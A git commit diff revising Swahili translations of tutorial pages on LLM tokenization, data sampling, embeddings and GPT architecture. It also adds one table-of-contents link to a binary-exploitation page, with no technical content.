Translated ['src/AI/AI-llm-architecture/1.-tokenizing.md', 'src/AI/AI-ll

This commit is contained in:
Translator 2025-07-08 16:49:00 +00:00
parent a7d6c67e0f
commit 1beb709a94
20 changed files with 434 additions and 224 deletions

View File

@ -51,10 +51,10 @@ Wakati tokenizer ya msingi inafanya kazi vizuri kwa maandiko rahisi, ina mipaka,
- **Madhumuni:** Kama BPE, inagawanya maneno katika vitengo vya subword ili kushughulikia maneno yasiyojulikana na kupunguza ukubwa wa kamusi.
- **Jinsi Inavyofanya Kazi:**
- Inaanza na kamusi ya msingi ya wahusika binafsi.
- Inajumuisha kwa hatua subword inayotokea mara nyingi zaidi ambayo inapanua uwezekano wa data ya mafunzo.
- Inajumuisha kwa hatua subword inayotokea mara nyingi zaidi ambayo inaboresha uwezekano wa data ya mafunzo.
- Inatumia mfano wa uwezekano kuamua ni subwords zipi za kuunganisha.
- **Faida:**
- Inaleta usawa kati ya kuwa na ukubwa wa kamusi unaoweza kudhibitiwa na kuwakilisha maneno kwa ufanisi.
- Inafanya usawa kati ya kuwa na ukubwa wa kamusi unaoweza kudhibitiwa na kuwakilisha maneno kwa ufanisi.
- Inashughulikia kwa ufanisi maneno nadra na ya mchanganyiko.
- _Mfano:_\
`"unhappiness"` inaweza kutokenizwa kama `["un", "happiness"]` au `["un", "happy", "ness"]` kulingana na kamusi.
@ -63,7 +63,7 @@ Wakati tokenizer ya msingi inafanya kazi vizuri kwa maandiko rahisi, ina mipaka,
- **Madhumuni:** Inatumia mfano wa uwezekano kubaini seti inayowezekana zaidi ya tokens za subword.
- **Jinsi Inavyofanya Kazi:**
- Inaanza na seti kubwa ya tokens zinazoweza.
- Inatoa kwa hatua tokens ambazo haziboresha uwezekano wa mfano wa data ya mafunzo.
- Inafuta kwa hatua tokens ambazo haziboresha uwezekano wa mfano wa data ya mafunzo.
- Inakamilisha kamusi ambapo kila neno linawakilishwa na vitengo vya subword vinavyoweza zaidi.
- **Faida:**
- Inaweza kubadilika na inaweza kuunda lugha kwa njia ya asili zaidi.
@ -73,7 +73,7 @@ Wakati tokenizer ya msingi inafanya kazi vizuri kwa maandiko rahisi, ina mipaka,
## Code Example
Tujifunze hili vizuri kutoka kwa mfano wa msimbo kutoka [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
Tuchunguze hili kwa karibu kutoka kwa mfano wa msimbo kutoka [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
```python
# Download a text to pre-train the model
import urllib.request

View File

@ -4,27 +4,27 @@
## **Data Sampling**
**Data Sampling** ni mchakato muhimu katika kuandaa data kwa ajili ya mafunzo ya mifano mikubwa ya lugha (LLMs) kama GPT. Inahusisha kuandaa data ya maandiko katika mfuatano wa ingizo na malengo ambayo mfano hutumia kujifunza jinsi ya kutabiri neno linalofuata (au token) kulingana na maneno yaliyotangulia. Sampuli sahihi za data zinahakikisha kwamba mfano unapata kwa ufanisi mifumo ya lugha na utegemezi.
**Data Sampling** ni mchakato muhimu katika kuandaa data kwa ajili ya mafunzo ya mifano mikubwa ya lugha (LLMs) kama GPT. Inahusisha kuandaa data ya maandiko katika mfuatano wa ingizo na malengo ambayo mfano hutumia kujifunza jinsi ya kutabiri neno linalofuata (au token) kulingana na maneno yaliyotangulia. Uwekaji sahihi wa sampuli za data unahakikisha kwamba mfano unapata kwa ufanisi mifumo ya lugha na utegemezi.
> [!TIP]
> Lengo la awamu hii ya pili ni rahisi sana: **Sampuli data ya ingizo na kuandaa kwa ajili ya awamu ya mafunzo kwa kawaida kwa kutenganisha dataset katika sentensi za urefu maalum na pia kuzalisha jibu linalotarajiwa.**
> Lengo la awamu hii ya pili ni rahisi sana: **Sampuli ya data ya ingizo na kuandaa kwa ajili ya awamu ya mafunzo kwa kawaida kwa kutenganisha dataset katika sentensi za urefu maalum na pia kuzalisha jibu linalotarajiwa.**
### **Why Data Sampling Matters**
### **Kwa Nini Uwekaji Sampuli wa Data Ni Muhimu**
LLMs kama GPT zinafundishwa kuzalisha au kutabiri maandiko kwa kuelewa muktadha unaotolewa na maneno ya awali. Ili kufikia hili, data ya mafunzo inapaswa kuandaliwa kwa njia ambayo mfano unaweza kujifunza uhusiano kati ya mfuatano wa maneno na maneno yao yanayofuata. Njia hii iliyopangwa inaruhusu mfano kuweza kujumlisha na kuzalisha maandiko yanayofaa na yanayoendana na muktadha.
LLMs kama GPT zinafundishwa kuzalisha au kutabiri maandiko kwa kuelewa muktadha unaotolewa na maneno ya awali. Ili kufikia hili, data ya mafunzo lazima iwe na muundo ambao mfano unaweza kujifunza uhusiano kati ya mfuatano wa maneno na maneno yao yanayofuata. Njia hii iliyopangwa inaruhusu mfano kuweza kujumlisha na kuzalisha maandiko yanayofaa na yanayohusiana na muktadha.
### **Key Concepts in Data Sampling**
### **Mifano Muhimu katika Uwekaji Sampuli wa Data**
1. **Tokenization:** Kugawanya maandiko katika vitengo vidogo vinavyoitwa tokens (mfano, maneno, subwords, au wahusika).
2. **Sequence Length (max_length):** Idadi ya tokens katika kila mfuatano wa ingizo.
2. **Urefu wa Mfuatano (max_length):** Idadi ya tokens katika kila mfuatano wa ingizo.
3. **Sliding Window:** Njia ya kuunda mfuatano wa ingizo unaoshirikiana kwa kusogeza dirisha juu ya maandiko yaliyotolewa tokens.
4. **Stride:** Idadi ya tokens ambayo dirisha linalosogea linahamia mbele ili kuunda mfuatano unaofuata.
4. **Stride:** Idadi ya tokens ambazo dirisha linalosogea linahamia mbele ili kuunda mfuatano unaofuata.
### **Step-by-Step Example**
### **Mfano wa Hatua kwa Hatua**
Tufanye mfano ili kuonyesha sampuli za data.
Hebu tupitie mfano ili kuonyesha uwekaji sampuli wa data.
**Example Text**
**Mfano wa Maandishi**
```arduino
"Lorem ipsum dolor sit amet, consectetur adipiscing elit."
```
@ -42,8 +42,8 @@ Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing",
**Creating Input and Target Sequences**
1. **Sliding Window Approach:**
- **Input Sequences:** Kila input sequence ina tokens za `max_length`.
- **Target Sequences:** Kila target sequence ina tokens ambazo zinafuatia moja kwa moja input sequence husika.
- **Input Sequences:** Kila mfuatano wa ingizo unajumuisha `max_length` tokens.
- **Target Sequences:** Kila mfuatano wa lengo unajumuisha tokens ambazo zinafuatia moja kwa moja mfuatano wa ingizo husika.
2. **Generating Sequences:**
<table><thead><tr><th width="177">Window Position</th><th>Input Sequence</th><th>Target Sequence</th></tr></thead><tbody><tr><td>1</td><td>["Lorem", "ipsum", "dolor", "sit"]</td><td>["ipsum", "dolor", "sit", "amet,"]</td></tr><tr><td>2</td><td>["ipsum", "dolor", "sit", "amet,"]</td><td>["dolor", "sit", "amet,", "consectetur"]</td></tr><tr><td>3</td><td>["dolor", "sit", "amet,", "consectetur"]</td><td>["sit", "amet,", "consectetur", "adipiscing"]</td></tr><tr><td>4</td><td>["sit", "amet,", "consectetur", "adipiscing"]</td><td>["amet,", "consectetur", "adipiscing", "elit."]</td></tr></tbody></table>
@ -85,9 +85,9 @@ Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing",
**Understanding Stride**
- **Stride of 1:** Dirisha linahamia mbele kwa token moja kila wakati, linalosababisha sequences zenye kufanana sana. Hii inaweza kuleta kujifunza bora ya uhusiano wa muktadha lakini inaweza kuongeza hatari ya overfitting kwani data zinazofanana zinajirudia.
- **Stride of 2:** Dirisha linahamia mbele kwa tokens mbili kila wakati, kupunguza kufanana. Hii inapunguza redundancy na mzigo wa kompyuta lakini inaweza kukosa baadhi ya nuances za muktadha.
- **Stride Equal to max_length:** Dirisha linahamia mbele kwa ukubwa mzima wa dirisha, linalosababisha sequences zisizo na kufanana. Hii inapunguza redundancy ya data lakini inaweza kupunguza uwezo wa mfano kujifunza utegemezi kati ya sequences.
- **Stride of 1:** Dirisha linahamia mbele kwa token moja kila wakati, na kusababisha mfuatano unaoshirikiwa sana. Hii inaweza kuleta kujifunza bora ya uhusiano wa muktadha lakini inaweza kuongeza hatari ya overfitting kwani data zinazofanana zinajirudia.
- **Stride of 2:** Dirisha linahamia mbele kwa token mbili kila wakati, kupunguza ushirikiano. Hii inapunguza upungufu na mzigo wa kompyuta lakini inaweza kukosa baadhi ya nuances za muktadha.
- **Stride Equal to max_length:** Dirisha linahamia mbele kwa ukubwa mzima wa dirisha, na kusababisha mfuatano usio na ushirikiano. Hii inapunguza upungufu wa data lakini inaweza kupunguza uwezo wa mfano kujifunza utegemezi kati ya mfuatano.
**Example with Stride of 2:**

View File

@ -4,19 +4,19 @@
## Token Embeddings
Baada ya kutenganisha data ya maandiko, hatua muhimu inayofuata katika kuandaa data kwa ajili ya mafunzo ya mifano mikubwa ya lugha (LLMs) kama GPT ni kuunda **token embeddings**. Token embeddings hubadilisha token zisizo na muundo (kama vile maneno au maneno madogo) kuwa vector za nambari zinazoendelea ambazo mfano unaweza kushughulikia na kujifunza kutoka kwazo. Maelezo haya yanabainisha token embeddings, uanzishaji wao, matumizi, na jukumu la positional embeddings katika kuboresha uelewa wa mfano wa mfuatano wa token.
Baada ya kutenganisha data ya maandiko, hatua inayofuata muhimu katika kuandaa data kwa ajili ya mafunzo ya mifano mikubwa ya lugha (LLMs) kama GPT ni kuunda **token embeddings**. Token embeddings hubadilisha token zisizo na muundo (kama vile maneno au sehemu za maneno) kuwa vectors za nambari zinazoendelea ambazo mfano unaweza kushughulikia na kujifunza kutoka kwazo. Maelezo haya yanabainisha token embeddings, uanzishaji wao, matumizi, na jukumu la positional embeddings katika kuboresha uelewa wa mfano wa mfuatano wa token.
> [!TIP]
> Lengo la awamu hii ya tatu ni rahisi sana: **Patia kila moja ya token zilizopita katika msamiati vector ya vipimo vinavyotakiwa ili kufundisha mfano.** Kila neno katika msamiati litakuwa na pointi katika nafasi ya vipimo X.\
> Kumbuka kwamba awali nafasi ya kila neno katika nafasi hiyo imeanzishwa "kwa bahati nasibu" na nafasi hizi ni vigezo vinavyoweza kufundishwa (vitaboreshwa wakati wa mafunzo).
>
> Zaidi ya hayo, wakati wa token embedding **tabaka lingine la embeddings linaundwa** ambalo linawakilisha (katika kesi hii) **nafasi halisi ya neno katika sentensi ya mafunzo**. Kwa njia hii neno katika nafasi tofauti katika sentensi litakuwa na uwakilishi tofauti (maana).
> Zaidi ya hayo, wakati wa token embedding **tabaka lingine la embeddings linaundwa** ambalo linawakilisha (katika kesi hii) **nafasi halisi ya neno katika sentensi ya mafunzo**. Kwa njia hii, neno katika nafasi tofauti katika sentensi litakuwa na uwakilishi tofauti (maana).
### **What Are Token Embeddings?**
**Token Embeddings** ni uwakilishi wa nambari wa token katika nafasi ya vector inayoendelea. Kila token katika msamiati inahusishwa na vector ya kipekee ya vipimo vilivyowekwa. Vectors hizi zinakamata taarifa za semantiki na sintaksia kuhusu token, na kuwezesha mfano kuelewa uhusiano na mifumo katika data.
- **Ukubwa wa Msamiati:** Jumla ya idadi ya token za kipekee (mfano, maneno, maneno madogo) katika msamiati wa mfano.
- **Ukubwa wa Msamiati:** Jumla ya idadi ya token za kipekee (mfano, maneno, sehemu za maneno) katika msamiati wa mfano.
- **Vipimo vya Embedding:** Idadi ya thamani za nambari (vipimo) katika vector ya kila token. Vipimo vya juu vinaweza kukamata taarifa za kina zaidi lakini vinahitaji rasilimali zaidi za kompyuta.
**Mfano:**
@ -70,7 +70,7 @@ tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=<EmbeddingBackward0>)
**Tafsiri:**
- Token katika index `3` inawakilishwa na vector `[-0.4015, 0.9666, -1.1481]`.
- Thamani hizi ni vigezo vinavyoweza kufundishwa ambavyo modeli itarekebisha wakati wa mafunzo ili kuwakilisha muktadha na maana ya token vizuri zaidi.
- Hizi ni thamani zinazoweza kufundishwa ambazo modeli itazirekebisha wakati wa mafunzo ili kuwakilisha muktadha na maana ya token vizuri zaidi.
### **Jinsi Token Embeddings Zinavyofanya Kazi Wakati wa Mafunzo**
@ -137,7 +137,7 @@ Wakati embeddings za token zinashika maana ya tokens binafsi, hazijajumuisha kwa
1. **Embeddings za Nafasi za Kipekee:**
- Kutoa vector ya nafasi ya kipekee kwa kila nafasi katika mfuatano.
- **Mfano:** Token ya kwanza katika mfuatano wowote ina embedding ya nafasi sawa, token ya pili ina nyingine, na kadhalika.
- **Inatumika na:** Mfano wa GPT wa OpenAI.
- **Inatumika na:** Mifano ya GPT ya OpenAI.
2. **Embeddings za Nafasi za Kihusiano:**
- Kuandika umbali wa kihusiano kati ya tokens badala ya nafasi zao za kipekee.
- **Mfano:** Kuonyesha jinsi tokens mbili zilivyo mbali, bila kujali nafasi zao za kipekee katika mfuatano.
@ -150,7 +150,7 @@ Wakati embeddings za token zinashika maana ya tokens binafsi, hazijajumuisha kwa
**Mfano wa Kuongeza Embeddings za Nafasi:**
Kiwango cha embedding cha token ni `[0.5, -0.2, 0.1]` na kiwango chake cha embedding cha nafasi ni `[0.1, 0.3, -0.1]`. Embedding iliyounganishwa inayotumika na mfano ingekuwa:
Kiwango cha embedding cha token ni `[0.5, -0.2, 0.1]` na kiwango chake cha embedding cha nafasi ni `[0.1, 0.3, -0.1]`. Embedding iliyounganishwa inayotumika na mfano itakuwa:
```css
Combined Embedding = Token Embedding + Positional Embedding
= [0.5 + 0.1, -0.2 + 0.3, 0.1 + (-0.1)]
@ -159,11 +159,11 @@ Combined Embedding = Token Embedding + Positional Embedding
**Faida za Positional Embeddings:**
- **Uelewa wa Muktadha:** Mfano unaweza kutofautisha kati ya tokens kulingana na nafasi zao.
- **Uelewa wa Mfuatano:** Inamwezesha mfano kuelewa sarufi, sintaksia, na maana zinazotegemea muktadha.
- **Uelewa wa Mfululizo:** Inamwezesha mfano kuelewa sarufi, sintaksia, na maana zinazotegemea muktadha.
## Mfano wa Kanuni
Ifuatayo ni mfano wa kanuni kutoka [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
Ikifuatiwa na mfano wa kanuni kutoka [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
```python
# Use previous code...

View File

@ -23,7 +23,7 @@ Mwakilishi wa kiwango cha juu unaweza kuonekana katika:
- **Feed Forward Layer**: Inawajibika kwa kuchakata habari kutoka kwa tabaka la umakini na kufanya utabiri kuhusu token inayofuata.
- **Dropout Layers**: Tabaka hizi zinazuia overfitting kwa kuacha vitengo kwa bahati nasibu wakati wa mafunzo.
4. **Final Output Layer**: Mfano unatoa **4x50,257-dimensional tensor**, ambapo **50,257** inawakilisha ukubwa wa msamiati. Kila safu katika tensor hii inahusiana na vector ambayo mfano hutumia kutabiri neno linalofuata katika mfuatano.
5. **Goal**: Lengo ni kuchukua embeddings hizi na kuzibadilisha tena kuwa maandiko. Kwa haswa, safu ya mwisho ya matokeo inatumika kuzalisha neno linalofuata, linalowakilishwa kama "forward" katika mchoro huu.
5. **Goal**: Lengo ni kuchukua embeddings hizi na kuzibadilisha tena kuwa maandiko. Kwa hakika, safu ya mwisho ya matokeo inatumika kuzalisha neno linalofuata, linalowakilishwa kama "forward" katika mchoro huu.
### Code representation
```python
@ -212,8 +212,8 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) *
```
#### **Madhumuni na Ufanisi**
- **GELU (Gaussian Error Linear Unit):** Kazi ya kuamsha ambayo inaingiza kutokuwa na mstari ndani ya mfano.
- **Kuamsha kwa Ufanisi:** Tofauti na ReLU, ambayo inafuta maingizo hasi, GELU inachora kwa ufanisi maingizo kuwa matokeo, ikiruhusu thamani ndogo, zisizo za sifuri kwa maingizo hasi.
- **GELU (Gaussian Error Linear Unit):** Kazi ya kuamsha ambayo inaingiza kutokuwa na mstari katika mfano.
- **Kuamsha kwa Ufanisi:** Tofauti na ReLU, ambayo inafuta maingizo hasi, GELU inachora kwa laini maingizo kuwa matokeo, ikiruhusu thamani ndogo, zisizo sifuri kwa maingizo hasi.
- **Mwelekeo wa Kihesabu:**
<figure><img src="../../images/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -245,14 +245,14 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
```
#### **Madhumuni na Ufanisi**
- **Mtandao wa FeedForward kwa Nafasi:** Inatumia mtandao wa viwango viwili uliounganishwa kikamilifu kwa kila nafasi tofauti na kwa njia sawa.
- **Mtandao wa FeedForward Kulingana na Nafasi:** Inatumia mtandao wa viwango viwili uliounganishwa kikamilifu kwa kila nafasi tofauti na kwa njia sawa.
- **Maelezo ya Kiwango:**
- **Kiwango cha Kwanza cha Mstari:** Kinapanua ukubwa kutoka `emb_dim` hadi `4 * emb_dim`.
- **Kazi ya GELU:** Inatumia kutokuwa na mstari.
- **Kiwango cha Pili cha Mstari:** Kinapunguza ukubwa kurudi kwenye `emb_dim`.
> [!TIP]
> Kama unavyoona, mtandao wa Feed Forward unatumia viwango 3. Kiwango cha kwanza ni kiwango cha mstari ambacho kitazidisha ukubwa kwa 4 kwa kutumia uzito wa mstari (vigezo vya kufundisha ndani ya mfano). Kisha, kazi ya GELU inatumika katika ukubwa wote ili kuleta mabadiliko yasiyo ya mstari ili kupata uwakilishi mzuri zaidi na hatimaye kiwango kingine cha mstari kinatumika kurudi kwenye ukubwa wa awali wa ukubwa.
> Kama unavyoona, mtandao wa Feed Forward unatumia viwango 3. Kiwango cha kwanza ni kiwango cha mstari ambacho kitazidisha ukubwa kwa 4 kwa kutumia uzito wa mstari (vigezo vya kufundisha ndani ya mfano). Kisha, kazi ya GELU inatumika katika ukubwa wote ili kuleta mabadiliko yasiyo ya mstari ili kupata uwakilishi mzuri na hatimaye kiwango kingine cha mstari kinatumika kurudi kwenye ukubwa wa awali wa ukubwa.
### **Mekanismu ya Umakini wa Vichwa Vingi**
@ -260,7 +260,7 @@ Hii tayari ilielezwa katika sehemu ya awali.
#### **Madhumuni na Ufanisi**
- **Umakini wa Kujitenga kwa Vichwa Vingi:** Inaruhusu mfano kuzingatia nafasi tofauti ndani ya mfuatano wa ingizo wakati wa kuandika token.
- **Umakini wa Kujitenga wa Vichwa Vingi:** Inaruhusu mfano kuzingatia nafasi tofauti ndani ya mlolongo wa ingizo wakati wa kuandika token.
- **Vipengele Muhimu:**
- **Maswali, Funguo, Thamani:** Mipango ya mstari ya ingizo, inayotumika kuhesabu alama za umakini.
- **Vichwa:** Mekanismu nyingi za umakini zinazoendesha kwa sambamba (`num_heads`), kila moja ikiwa na ukubwa mdogo (`head_dim`).
@ -293,18 +293,18 @@ return self.scale * norm_x + self.shift
```
#### **Madhumuni na Ufanisi**
- **Layer Normalization:** Mbinu inayotumika kurekebisha ingizo kati ya vipengele (vipimo vya embedding) kwa kila mfano binafsi katika kundi.
- **Layer Normalization:** Mbinu inayotumika kurekebisha ingizo kati ya vipengele (embedding dimensions) kwa kila mfano binafsi katika kundi.
- **Vipengele:**
- **`eps`:** Kiwango kidogo (`1e-5`) kinachoongezwa kwenye tofauti ili kuzuia kugawanya kwa sifuri wakati wa kurekebisha.
- **`scale` na `shift`:** Vigezo vinavyoweza kujifunza (`nn.Parameter`) vinavyomruhusu mfano kupima na kuhamasisha matokeo yaliyorekebishwa. Vimeanzishwa kuwa moja na sifuri, mtawalia.
- **`eps`:** Kiwango kidogo (`1e-5`) kinachoongezwa kwa variance ili kuzuia kugawanya kwa sifuri wakati wa normalization.
- **`scale` na `shift`:** Vigezo vinavyoweza kujifunza (`nn.Parameter`) vinavyomruhusu modeli kupanua na kuhamasisha matokeo yaliyorekebishwa. Vimeanzishwa kuwa moja na sifuri, mtawalia.
- **Mchakato wa Kurekebisha:**
- **Hesabu Mean (`mean`):** Hesabu wastani wa ingizo `x` kati ya kipimo cha embedding (`dim=-1`), ikihifadhi kipimo kwa ajili ya kueneza (`keepdim=True`).
- **Hesabu Variance (`var`):** Hesabu tofauti ya `x` kati ya kipimo cha embedding, pia ikihifadhi kipimo. Paramenta `unbiased=False` inahakikisha kwamba tofauti inahesabiwa kwa kutumia mhesabu wa upendeleo (kugawanya kwa `N` badala ya `N-1`), ambayo ni sahihi wakati wa kurekebisha juu ya vipengele badala ya sampuli.
- **Normalize (`norm_x`):** Inapunguza wastani kutoka `x` na kugawanya kwa mzizi wa tofauti pamoja na `eps`.
- **Hesabu ya Mean (`mean`):** Hesabu ya wastani wa ingizo `x` kati ya dimension ya embedding (`dim=-1`), ikihifadhi dimension kwa ajili ya broadcasting (`keepdim=True`).
- **Hesabu ya Variance (`var`):** Hesabu ya variance ya `x` kati ya dimension ya embedding, pia ikihifadhi dimension. Kigezo cha `unbiased=False` kinahakikisha kuwa variance inahesabiwa kwa kutumia mhesabu yenye upendeleo (kugawanya kwa `N` badala ya `N-1`), ambayo ni sahihi wakati wa kurekebisha juu ya vipengele badala ya sampuli.
- **Normalize (`norm_x`):** Inapunguza wastani kutoka `x` na kugawanya kwa mzizi wa variance pamoja na `eps`.
- **Scale na Shift:** Inatumia vigezo vinavyoweza kujifunza `scale` na `shift` kwa matokeo yaliyorekebishwa.
> [!TIP]
> Lengo ni kuhakikisha wastani wa 0 na tofauti ya 1 kati ya vipimo vyote vya token sawa. Lengo la hili ni **kuimarisha mafunzo ya mitandao ya neva ya kina** kwa kupunguza mabadiliko ya ndani ya covariate, ambayo inahusisha mabadiliko katika usambazaji wa uhamasishaji wa mtandao kutokana na kubadilishwa kwa vigezo wakati wa mafunzo.
> Lengo ni kuhakikisha wastani wa 0 na variance ya 1 kati ya vipimo vyote vya token sawa. Lengo la hili ni **kuimarisha mafunzo ya mitandao ya neva ya kina** kwa kupunguza mabadiliko ya ndani ya covariate, ambayo inahusisha mabadiliko katika usambazaji wa uhamasishaji wa mtandao kutokana na kubadilishwa kwa vigezo wakati wa mafunzo.
### **Transformer Block**
@ -352,8 +352,8 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
- **Muundo wa Tabaka:** Inachanganya umakini wa vichwa vingi, mtandao wa feedforward, urekebishaji wa tabaka, na muunganisho wa ziada.
- **Urekebishaji wa Tabaka:** Unatumika kabla ya tabaka za umakini na feedforward kwa mafunzo thabiti.
- **Muunganisho wa Ziada (Njia Fupi):** Ongeza ingizo la tabaka kwa matokeo yake ili kuboresha mtiririko wa gradient na kuwezesha mafunzo ya mitandao mirefu.
- **Dropout:** Unatumika baada ya tabaka za umakini na feedforward kwa ajili ya urekebishaji.
- **Muunganisho wa Ziada (Njia Fupi):** Ongeza ingizo la tabaka kwa matokeo yake ili kuboresha mtiririko wa gradient na kuwezesha mafunzo ya mitandao yenye kina.
- **Dropout:** Unatumika baada ya tabaka za umakini na feedforward kwa udhibiti.
#### **Ufanisi wa Hatua kwa Hatua**
@ -361,7 +361,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
- **Ingizo (`shortcut`):** Hifadhi ingizo la awali kwa muunganisho wa ziada.
- **Urekebishaji wa Tabaka (`norm1`):** Rekebisha ingizo.
- **Umakini wa Vichwa Vingi (`att`):** Tumia umakini wa kibinafsi.
- **Dropout (`drop_shortcut`):** Tumia dropout kwa urekebishaji.
- **Dropout (`drop_shortcut`):** Tumia dropout kwa udhibiti.
- **Ongeza Ziada (`x + shortcut`):** Changanya na ingizo la awali.
2. **Njia ya Pili ya Ziada (FeedForward):**
- **Ingizo (`shortcut`):** Hifadhi ingizo lililosasishwa kwa muunganisho wa ziada unaofuata.
@ -374,7 +374,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
> Block ya transformer inakusanya mitandao yote pamoja na kutumia **urekebishaji** na **dropouts** kuboresha utulivu wa mafunzo na matokeo.\
> Kumbuka jinsi dropouts zinavyofanywa baada ya matumizi ya kila mtandao wakati urekebishaji unatumika kabla.
>
> Zaidi ya hayo, inatumia njia fupi ambazo zinajumuisha **kuongeza matokeo ya mtandao na ingizo lake**. Hii husaidia kuzuia tatizo la gradient inayopotea kwa kuhakikisha kwamba tabaka za mwanzo zinachangia "kiasi" sawa na zile za mwisho.
> Zaidi ya hayo, inatumia njia fupi ambazo zinajumuisha **kuongeza matokeo ya mtandao na ingizo lake**. Hii husaidia kuzuia tatizo la gradient inayopotea kwa kuhakikisha kuwa tabaka za mwanzo zinachangia "kiasi" sawa na zile za mwisho.
### **GPTModel**
@ -435,24 +435,24 @@ return logits # Output shape: (batch_size, seq_len, vocab_size)
```
#### **Madhumuni na Ufanisi**
- **Embedding Layers:**
- **Mifumo ya Kuunganisha:**
- **Token Embeddings (`tok_emb`):** Hubadilisha viashiria vya token kuwa embeddings. Kama ukumbusho, hizi ni uzito zinazotolewa kwa kila kipimo cha kila token katika msamiati.
- **Positional Embeddings (`pos_emb`):** Ongeza taarifa za nafasi kwa embeddings ili kukamata mpangilio wa token. Kama ukumbusho, hizi ni uzito zinazotolewa kwa token kulingana na nafasi yake katika maandiko.
- **Dropout (`drop_emb`):** Inatumika kwa embeddings kwa ajili ya regularisation.
- **Positional Embeddings (`pos_emb`):** Inaongeza taarifa za nafasi kwa embeddings ili kukamata mpangilio wa token. Kama ukumbusho, hizi ni uzito zinazotolewa kwa token kulingana na nafasi yake katika maandiko.
- **Dropout (`drop_emb`):** Inatumika kwa embeddings kwa ajili ya udhibiti.
- **Transformer Blocks (`trf_blocks`):** Kifungu cha `n_layers` transformer blocks ili kushughulikia embeddings.
- **Final Normalization (`final_norm`):** Kiwango cha normalization kabla ya safu ya matokeo.
- **Output Layer (`out_head`):** Inatabiri hali za siri za mwisho kwa ukubwa wa msamiati ili kutoa logits kwa ajili ya utabiri.
- **Final Normalization (`final_norm`):** Kiwango cha kawaida kabla ya safu ya matokeo.
- **Output Layer (`out_head`):** Inatoa hali za mwisho zilizofichwa kwa ukubwa wa msamiati ili kutoa logits kwa ajili ya utabiri.
> [!TIP]
> Lengo la darasa hili ni kutumia mitandao mingine yote iliyotajwa ili **kutabiri token inayofuata katika mfuatano**, ambayo ni muhimu kwa kazi kama vile uzalishaji wa maandiko.
>
> Kumbuka jinsi itakavy **tumia transformer blocks nyingi kadri zilivyoonyeshwa** na kwamba kila transformer block inatumia neti moja ya multi-head attestation, neti moja ya feed forward na normalizations kadhaa. Hivyo kama transformer blocks 12 zinatumika, ongeza hii kwa 12.
> Kumbuka jinsi itakavy **tumia transformer blocks nyingi kadri zilivyoonyeshwa** na kwamba kila transformer block inatumia mtandao mmoja wa multi-head attestation, mtandao mmoja wa feed forward na kadhaa ya normalizations. Hivyo ikiwa transformer blocks 12 zinatumika, ongeza hii kwa 12.
>
> Zaidi ya hayo, safu ya **normalization** inaongezwa **kabla** ya **matokeo** na safu ya mwisho ya linear inatumika mwishoni kupata matokeo yenye vipimo sahihi. Kumbuka jinsi kila vector ya mwisho ina ukubwa wa msamiati ulio tumika. Hii ni kwa sababu inajaribu kupata uwezekano kwa kila token inayowezekana ndani ya msamiati.
> Zaidi ya hayo, safu ya **normalization** inaongezwa **kabla** ya **matokeo** na safu ya mwisho ya moja kwa moja inatumika mwishoni kupata matokeo yenye vipimo sahihi. Kumbuka jinsi kila vector ya mwisho ina ukubwa wa msamiati ulio tumika. Hii ni kwa sababu inajaribu kupata uwezekano kwa kila token inayowezekana ndani ya msamiati.
## Idadi ya Vigezo vya kufundisha
Baada ya muundo wa GPT kufafanuliwa, inawezekana kugundua idadi ya vigezo vya kufundisha:
Baada ya muundo wa GPT kufafanuliwa, inawezekana kubaini idadi ya vigezo vya kufundisha:
```python
GPT_CONFIG_124M = {
"vocab_size": 50257, # Vocabulary size
@ -483,14 +483,14 @@ token_embedding_params = 50257 * 768 = 38,597,376
```python
position_embedding_params = 1024 * 768 = 786,432
```
**Jumla ya Vigezo vya Kuunganisha**
**Jumla ya Vigezo vya Embedding**
```python
embedding_params = token_embedding_params + position_embedding_params
embedding_params = 38,597,376 + 786,432 = 39,383,808
```
#### **2. Transformer Blocks**
Kuna blocks 12 za transformer, hivyo tutahesabu vigezo kwa block moja kisha kuzidisha kwa 12.
Kuna blocks 12 za transformer, hivyo tutahesabu vigezo vya block moja kisha kuzidisha kwa 12.
**Parameters per Transformer Block**
@ -572,7 +572,7 @@ pythonCopy codelayer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3
pythonCopy codeparams_per_block = mha_params + ff_params + layer_norm_params_per_block
params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568
```
**Jumla ya Paramita kwa Vizuizi Vyote vya Transformer**
**Jumla ya Vigezo kwa ajili ya Vizui vya Transformer Vyote**
```python
pythonCopy codetotal_transformer_blocks_params = params_per_block * n_layers
total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816

View File

@ -795,6 +795,7 @@
- [BF Forked & Threaded Stack Canaries](binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)
- [Print Stack Canary](binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md)
- [Write What Where 2 Exec](binary-exploitation/arbitrary-write-2-exec/README.md)
- [Aw2exec Sips Icc Profile](binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md)
- [WWW2Exec - atexit()](binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md)
- [WWW2Exec - .dtors & .fini_array](binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)
